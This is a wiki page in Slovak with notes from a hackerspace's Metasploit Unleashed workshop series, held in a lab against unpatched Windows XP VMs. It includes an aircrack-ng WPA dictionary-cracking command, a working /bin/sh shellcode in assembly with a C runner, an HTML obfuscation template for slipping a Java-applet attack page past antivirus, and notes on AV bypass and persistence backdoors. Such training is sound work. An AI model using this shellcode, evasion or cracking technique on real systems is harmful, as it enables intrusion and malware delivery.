User Tools

Site Tools


event:metasploit_unleashed_workshop

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
event:metasploit_unleashed_workshop [2015/06/07 16:19] ruzaevent:metasploit_unleashed_workshop [2016/12/07 22:08] (current) – external edit 127.0.0.1
Line 1: Line 1:
 +~~NOTOC~~
  
 +====== Metasploit Unleashed Workshop ======
 +
 +{{template>infobox|
 +name=Metasploit Unleashed Workshop|
 +image=:event:metasploit_unleashed_logo-00.png|
 +organizer=[[user:zombie]]|
 +datetime=Raz za mesiac \\ vo štvrtok \\ (nie prvého) \\ o 20:00|
 +place=brmlab|
 +stream=[[stream]]}}
 +
 +==== Aktuálny stav (6/2012) ====
 +
 +Metasploit Unleashed workshop pokračuje. Chcem sa spýtať, o aké témy
 +bude záujem (viď nižšie)?
 +
 +Ďalšia vec je, že by sa workshop nekonal každý týždeň, ale menej často
 +(napríklad 1x za mesiac) vo štvrtok. Záleží na dohode...
 +
 +
 +==== Správa o štarte pravidelného workshopu (10/2011) ====
 +
 +Rád by som urobil v brmlabe Metasploit Unleashed workshop. Bol by
 +pravidelne raz za týždeň, prešlo by sa postupne od úplných základov,
 +cez písanie exploitu, až k featurám metasploitu, ako je skriptovanie
 +meterpreteru. Po skončení organizovaných stretnutí dúfam, že zostane
 +hŕstka ľudí pracovať na hľadaní dier a písaní exploitov.
 +
 +Nemá to byť prednáška pri tabuli, ale skúšanie príkladov naživo (jeden
 +na projektor a inak každý sám na svojom počítači). Predpokladom je
 +nainštalovaný Virtualbox alebo VMWare (od VMWare sú zdarma verzie
 +Player a Server). Musia byť funkčné (to je upozornenie pre tých, čo
 +majú nejak upravený kernel).
 +
 +Prvý týždeň sa budú preberať základy (používanie msfconsole, rozdiely
 +medzi payloadami, použitie existujúceho exploitu voči Windows XP SP2,
 +úplne základné použitie meterpreteru).
 +
 +Komu sa bude páčiť workshop alebo materiál Metasploit Unleashed, nech
 +zváži dobrovoľný dar pre [[http://www.hackersforcharity.org/|Hackers for Charity]].
 +
 +
 +===== Video =====
 +
 +==== Stream ====
 +
 +  * https://brmlab.cz/stream
 +
 +==== Záznam ====
 +
 +  * http://video.hrach.eu/index.php?akce=8
 +  * na serveri data (nat.brmlab.cz) v /data/mirror/metasploit_unleashed/*.flv
 +  * pri nahrávaní na serveri brmvid v /bubuntu/rec*
 +
 +===== Čo je potreba mať nainštalované =====
 +
 +Virtuálne mašiny k dispozícii na serveri data (nat.brmlab.cz), prístup má ten, kto dá Růžovi ssh kľúč, prípadne pozná heslo na web http://nat.brmlab.cz/metasploit:
 +
 +  * BackTrack r1 VM (32-bit): /data/mirror/metasploit_unleashed/BT5R1-GNOME-VM-32
 +    * pre VMWare
 +    * pre VirtualBox (ten istý image; použíje sa cez Machine->New->...->Use existing disk->vybrať .VMDK súbor)
 +    * hlavne kvôli metasploitu
 +  * Windows XP Pro SP2 (bez patchov, povypínané firewally a varovania)
 +    * pre VMWare
 +    * pre VirtualBox
 +    * ako cieľová mašina na útočenie
 +
 +Je možné púšťať metasploit inak, ako z BackTracku. Je ale potreba mať ruby a aby fungovalo spojenie s databázou (viď db_* príkazy), nakonfigurovať postgresql/mysql. Aktuálna verzia zo SVN (odporúčaný spôsob inštalácie):
 +
 +<code>
 +$ svn co https://www.metasploit.com/svn/framework3/trunk/ metasploit/
 +</code>
 +
 +Človek môže mať nainštalované nejaké vlastné Windows (taký človek sa aspoň nebude nudiť, lebo mu možno nebude fungovať všetko tak bez problémov, ako ostatným, ktorí majú rovnakú mašinu).
 +
 +
 +===== Materiály =====
 +
 +http://www.offensive-security.com/metasploit-unleashed/
 +
 +http://www.ms.mff.cuni.cz/~zembm2am/exploity/exploity.html#shellkod
 +
 +===== 1. týždeň =====
 +
 +  * msfconsole
 +  * msfcli
 +  * moduly
 +  * meterpreter
 +
 +===== 2. týždeň =====
 +
 +Téma: identifikácia služieb v sieti, scanovanie
 +
 +  * db_*
 +  * nmap
 +  * auxiliary/scanner/portscan
 +  * snmp
 +  * psnuffle
 +  * idle scanning
 +    * [[http://blog.carlosgarciaprado.com/?p=91|Fix for auxiliary(ipidseq) RuntimeError Pcaprub]]
 +
 +===== 3. týždeň (2011-11-10) =====
 +
 +Téma: hľadanie zraniteľností (Nessus/OpenVAS, neXpose)
 +
 +  * OpenVAS 0 výsledkov
 +  * Nessus sme konfigurovali a získali výsledky; db_autopwn zlyhalo
 +
 +===== 4. týždeň (2011-11-17) =====
 +
 +Téma: Wi-Fi
 +
 +Je k tomu treba mať kartu, ktorá vie packet injection a balík aircrack-ng. Utility bežiace pod vmware-om vedia použiť wi-fi karty, ktoré sa pripájajú cez USB.
 +
 +Či funguje packet injection, sa rozozná príkazom aireplay-ng --test; vo výstupe musí byť nenulové percento odpovedí (tj. 0% u každého AP znamená, že niečo nie je v poriadku).
 +
 +Dúfam, že sa stihneme dostať aj ku karmetasploitu. K tomu je potreba metasploit s databázou.
 +
 +Čo sme nakoniec robili:
 +
 +  * crack WEP
 +  * crack WPA-PSK (slovníkovým útokom)
 +    * aircrack poslúžil lepšie než cowpatty
 +      * crackoval pcap dump, o ktorom cowpatty tvrdil, že v ňom nie je celý handshake
 +      * berie štandardný vstup, ide potom napr. filtrovať zo slovníka dostatočne dlhé heslá na PSK:
 +
 +<code>
 +grep -E '^.{8,63}$' /pentest/wordlists/dar... | aircrack-ng -w - -a 2 -e metasploitwifi airodump-dump.cap
 +</code>
 +
 +  * karmetasploit
 +    * podľa materiálov
 +    * db_connect treba z karma.rc vymazať; lebo s nesprávnym heslom iba spôsobí odpojenie
 +    * browser-autopwn nakoniec nehackol naše testovacie Windows
 +
 +
 +
 +===== 5. týždeň (2011-11-24) =====
 +
 +Téma: Fuzzing
 +
 +  * fuzzovanie pomocou metasploitu..?
 +  * HotFuzz
 +    * download
 +      * buďto lokálne z data:/data/mirror/metasploit_unleashed/HotFuzz
 +      * alebo z projektovej stránky http://sourceforge.net/projects/hotfuzz/
 +    * inštalácia (ideálne do VMWare Windows XP, ktoré už všetci máme; pozor, VirtualBox verzia má po inštalácii už iba 200MB voľného miesta, to je obmedzujúce pre doinštalovanie ďalších aplikácií, ktoré by sa mohli fuzzovať)
 +      * všetko iba odklikať (v každom jednotlivom inštalátore, ktorý sa spustí)
 +        * BIND si pred inštaláciou vypýta heslo, stačí vyplniť ľubovoľné a spustiť inštaláciu BINDu
 +
 +===== 6. týždeň (2011-12-08) =====
 +
 +(po Lightning talkoch)
 +
 +Téma: Fuzzing skutočný workshop...?
 +
 +...každý si bude fuzzovať aplikáciu, ktorú chce?
 +  * [[project:brmlife:start]]
 +
 +===== 7. týždeň (2011-12-15) =====
 +
 +Téma: Exploity
 +
 +  * Immunity debugger
 +  * exploit na CesarFTP
 +  * išlo to veľmi pomaly; na ďalšom workshope to zopakujeme rýchlejšie
 +
 +===== 8. týždeň (2011-12-22) =====
 +
 +  * nekonal sa, podobne niekoľko ďalších
 +
 +===== Shellkódy (2012-01-19) =====
 +
 +Téma: Shellkód, jeho stavba
 +  * http://www.ms.mff.cuni.cz/~zembm2am/exploity/exploity.html#shellkod
 +  * AT&T syntax MOV priraďuje do argumentu vpravo, Intel syntax do ľavého.
 +  * užitočné príkazy gdb po spustení gdb fungujeshellkod:
 +
 +
 +  start
 +  n
 +  info registers
 +  set $eip = shellkod
 +  display/3i $eip
 +  ni
 +  set disassembly-flavor intel
 +  x/30i shellkod    
 +
 +
 +  * v shellkod1.c (a všetkom, čo z neho vychádzalo, nám chýbalo priradenie NULL do registru edx)
 +
 +<code>
 +            xorl %eax, %eax         /* vyrob nulu */ ; \
 +            movl %eax, %edx         /* 3. parametr execve (*envp := NULL) */ ; \
 +</code>
 +
 +
 +  * Segmentation fault sme narozdiel od textu riešili touto zmenou:
 +
 +<code>
 +#include <asm/mman.h>
 +
 +mprotect( (void*) ((unsigned) shellkod & 0xffffe000), 4096, PROT_WRITE | PROT_READ | PROT_EXEC );
 +</code>
 +
 +  * celá verzia shellkod1 napísaná pre nasm:
 +
 +<code>
 +[bits 32]
 +    jmp    finta
 +shellkod:
 +    pop    esi
 +    mov    DWORD [esi+0x8],esi
 +    xor    eax,eax
 +    mov    edx,eax
 +    mov    DWORD [esi+0xc],eax
 +    mov    BYTE [esi+0x7],al
 +    mov    al,0xb
 +    mov    ebx,esi
 +    lea    ecx,[esi+0x8]
 +    int    0x80
 +    xor    ebx,ebx
 +    xor    eax,eax
 +    inc    eax
 +    int    0x80
 +finta:
 +    call   shellkod
 +    db      "/bin/sh"
 +
 +</code>
 +
 +  * kompilácia a rýchlejší prevod na reťazec:
 +
 +  nasm asmintel.asm 
 +  /mnt/debian/usr/src/linux-kbuild-2.6.30/scripts/bin2c < asmintel
 +  "\xeb\x1e\x5e\x89\x76\x08\x31\xc0\x89\xc2\x89\x46\x0c\x88\x46\x07"
 +  "\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80"
 +  "\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
 +
 +
 +
 +  * výsledný fungujeshellkod.c volá priamo funkciu (ret + 2 nefungovalo)
 +
 +<code>
 +#include <stdio.h>
 +#include <asm/mman.h>
 +
 +char * shellkod =
 +    "\xeb\x1e\x5e\x89\x76\x08\x31\xc0\x89\xc2\x89\x46\x0c\x88\x46\x07"
 +    "\xb0\x0b\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80"
 +    "\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
 +                    ;
 +
 +int main() {
 +    mprotect( (void*) ((unsigned) shellkod & 0xffffe000), 4096, PROT_WRITE | PROT_READ | PROT_EXEC );
 +    void(*f)(void) = shellkod;
 +    f();
 +    return 0;
 +}   
 +
 +</code>
 +
 +===== Java applet infection (2012-01-26) =====
 +
 +Oproti oficiálnemu materiálu sme urobili tieto zmeny:
 +
 +  - opraviť vo VBScripte chýbajúci backslash pri >> C:\windows\...
 +  - výsledné HTML kvôli antivíru obfuskovať nasledovne:
 +
 +    <html>
 +    <body bgcolor="white">
 +        <div id="java">
 +            <script>
 +                var div = document.getElementById('java');
 +                div.innerHTML =
 +                    // sem vložiť pôvodný obsah zakódovaný 
 +                    // cez String.fromCharCode(), 
 +                    // napr. pomocou HackBaru
 +                ;
 +            </script>
 +        </div>
 +    </body>
 +    </html>
 +
 +===== Encoding/packing (2012-02-09) =====
 +
 +Na minulom workshope sme si ukázali, ako pomocou Java appletu ovládnuť Windows mašinu. Ukázali sme si, ako si udržať prístup pomocou backdooru. V prípade, že je nainštalovaný antivírus (v našom prípade AVG), obsah útočnej stránky je zablokovaný. To sa nám podarilo obísť zakódovaním HTML stránky.
 +
 +Antivírus ale naďalej detekuje hrozbu v ukladanom .exe súbore. Na ďalšom workshope si ukážeme, ako ho upraviť za účelom obídenia tejto detekcie.
 +
 +Treba mať nainštalované: OllyDbg, LordPE (sú tiež stiahnuté v /data/mirror/metasploit_unleashed/debugger), z minulého workshopu aspoň funkčné Windows (!) a nejaký antivírus. Metasploit sa bude hodiť (kvôli generovaniu .exe súboru a kvôli multi/handleru, aby sa meterpreter mal kam pripojiť).
 +
 +Materiály:
 +
 +  * https://docs.google.com/viewer?a=v&q=cache:SqL3L5YM3r0J:www.exploit-db.com/wp-content/themes/exploit/docs/17066.pdf+bypass+anti-virus+educational&hl=cs&gl=cz&pid=bl&srcid=ADGEESjDs861ESqIsOl4V_9wXEXM5PASBvyav90FjU59aT-Y6n4iYPCDQkUx4ALxHzs_2oobj_jlCQ4rOCJDfnqFCrkKyk0xJjaQoDZ8y7QpvYNGc1aD9hrhuyM1z5TGPS4s_O8bTB1l&sig=AHIEtbTLXFbZvsRX5I2o90A3wJkk1wBnqg
 +  * http://0entropy.blogspot.com/2011/01/meterpreter-xor-for-further-av-bypass.html
 +
 +Na workshope vznikol problém -- OllyDBG nám zobrazoval iný entry point, ako LordPE. Je to vlastnosť: nový OllyDBG 2.01 rozoznáva packer a analyzuje ho. Dá sa to vypnúť v Options->Options (Ctrl+O), SFX->Unpack... (uncheck), Use real entry from previous run (uncheck).
 +
 +
 +===== A co dál? =====
 +
 +==== Príspevky ====
 +
 +O aké témy je záujem?
 +
 +Kto by si mohol prípadne pripraviť nejakú tému (z Metasploit
 +Unleashed alebo im príbuznú)? Viz http://www.offensive-security.com/metasploit-unleashed/, alebo tu je niekoľko ďalších na výber:
 +
 +  * encoding/packing za účelom obídenia antivíru (ešte sa nekonalo)
 +  * ako packer umiestniť, aby sa nemusel meniť Origin-Entry Point
 +  * format string vulnerabilities
 +  * return-to-libc exploiting
 +  * SafeSEH exploiting
 +  * file format vulnerabilities
 +
 +  * https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit
 +  * https://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Todo
 +  * [[http://ftp.heanet.ie/mirrors/|Old SWs Repository]]
 +  * http://www.rapid7.com/resources/webcasts.jsp
 +
 +==== Úlohy ====
 +
 +Hodilo by sa vyriešiť nasledujúce problémy: 
 +
 +  - meterpreter persistence skript (ktorý inštaluje backdoor) nekontroluje, či už nie je backdoor nainštalovaný
 +    * ak sa pripája na handler, ktorý spúšťa persistence, vedie to k exponenciálnemu nárastu backdoorov
 +    * ak sa pripája na inú adresu, hrozí, že užívateľ musí do personal firewallu dve spojenia miesto jedného
 +  - jobs -v nezobrazí dosť podrobné informácie (ako hodnoty AutoRunScript), jobs -v -i <n> zobrazí nepravdivé hodnoty
 +
 +==== Links ====
 +
 +  * http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
 +
 +{{tag>video}}
event/metasploit_unleashed_workshop.txt · Last modified: 2016/12/07 22:08 by 127.0.0.1